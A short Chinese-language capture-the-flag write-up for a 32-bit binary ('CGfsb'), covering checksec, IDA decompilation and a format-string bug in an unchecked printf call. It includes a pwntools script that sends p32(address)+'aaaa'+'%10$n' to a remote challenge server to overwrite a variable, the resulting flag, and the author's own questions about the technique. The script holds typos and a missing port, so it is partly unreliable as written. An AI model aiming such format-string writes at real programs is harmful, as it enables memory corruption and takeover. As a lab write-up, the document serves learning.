我们拿到一个文件,扔到linux终端里
checksec一下
我们可以看到这是一个开nx了的32位的文件,我们打开x86ida,按f5查看伪代码,可以看到 这个当pwnme=8的时候 flag 就出来了
我们发现 他的上面有一个printf(const char*)v8 正常的应该是printf(’%s",s), 我们当然可以这样写,但是这样是危险的,会有一定的概率导致 格式化字符串漏洞,
0x41414141便是我们输入的"AAAA",数一下便知道偏移是10
from pwn import *
#q = precess("./CGfsb")
q= remote(‘111.198.29.45’, )
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’
#pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用q.recvuntil(“please tell me your name:\n”)
q.sendline(‘suibian’)
q.recvuntil(“leave your message please:\n”)
q.sendline(payload)
q.interactive()
我们可以得到flag
cyberpeace{de92eeef74966be267b94deba7653b9e}
最后我想问几个问题
为什么 要要加AAAA-%p来看偏移 %10&n是什么意思
求大佬指导 感谢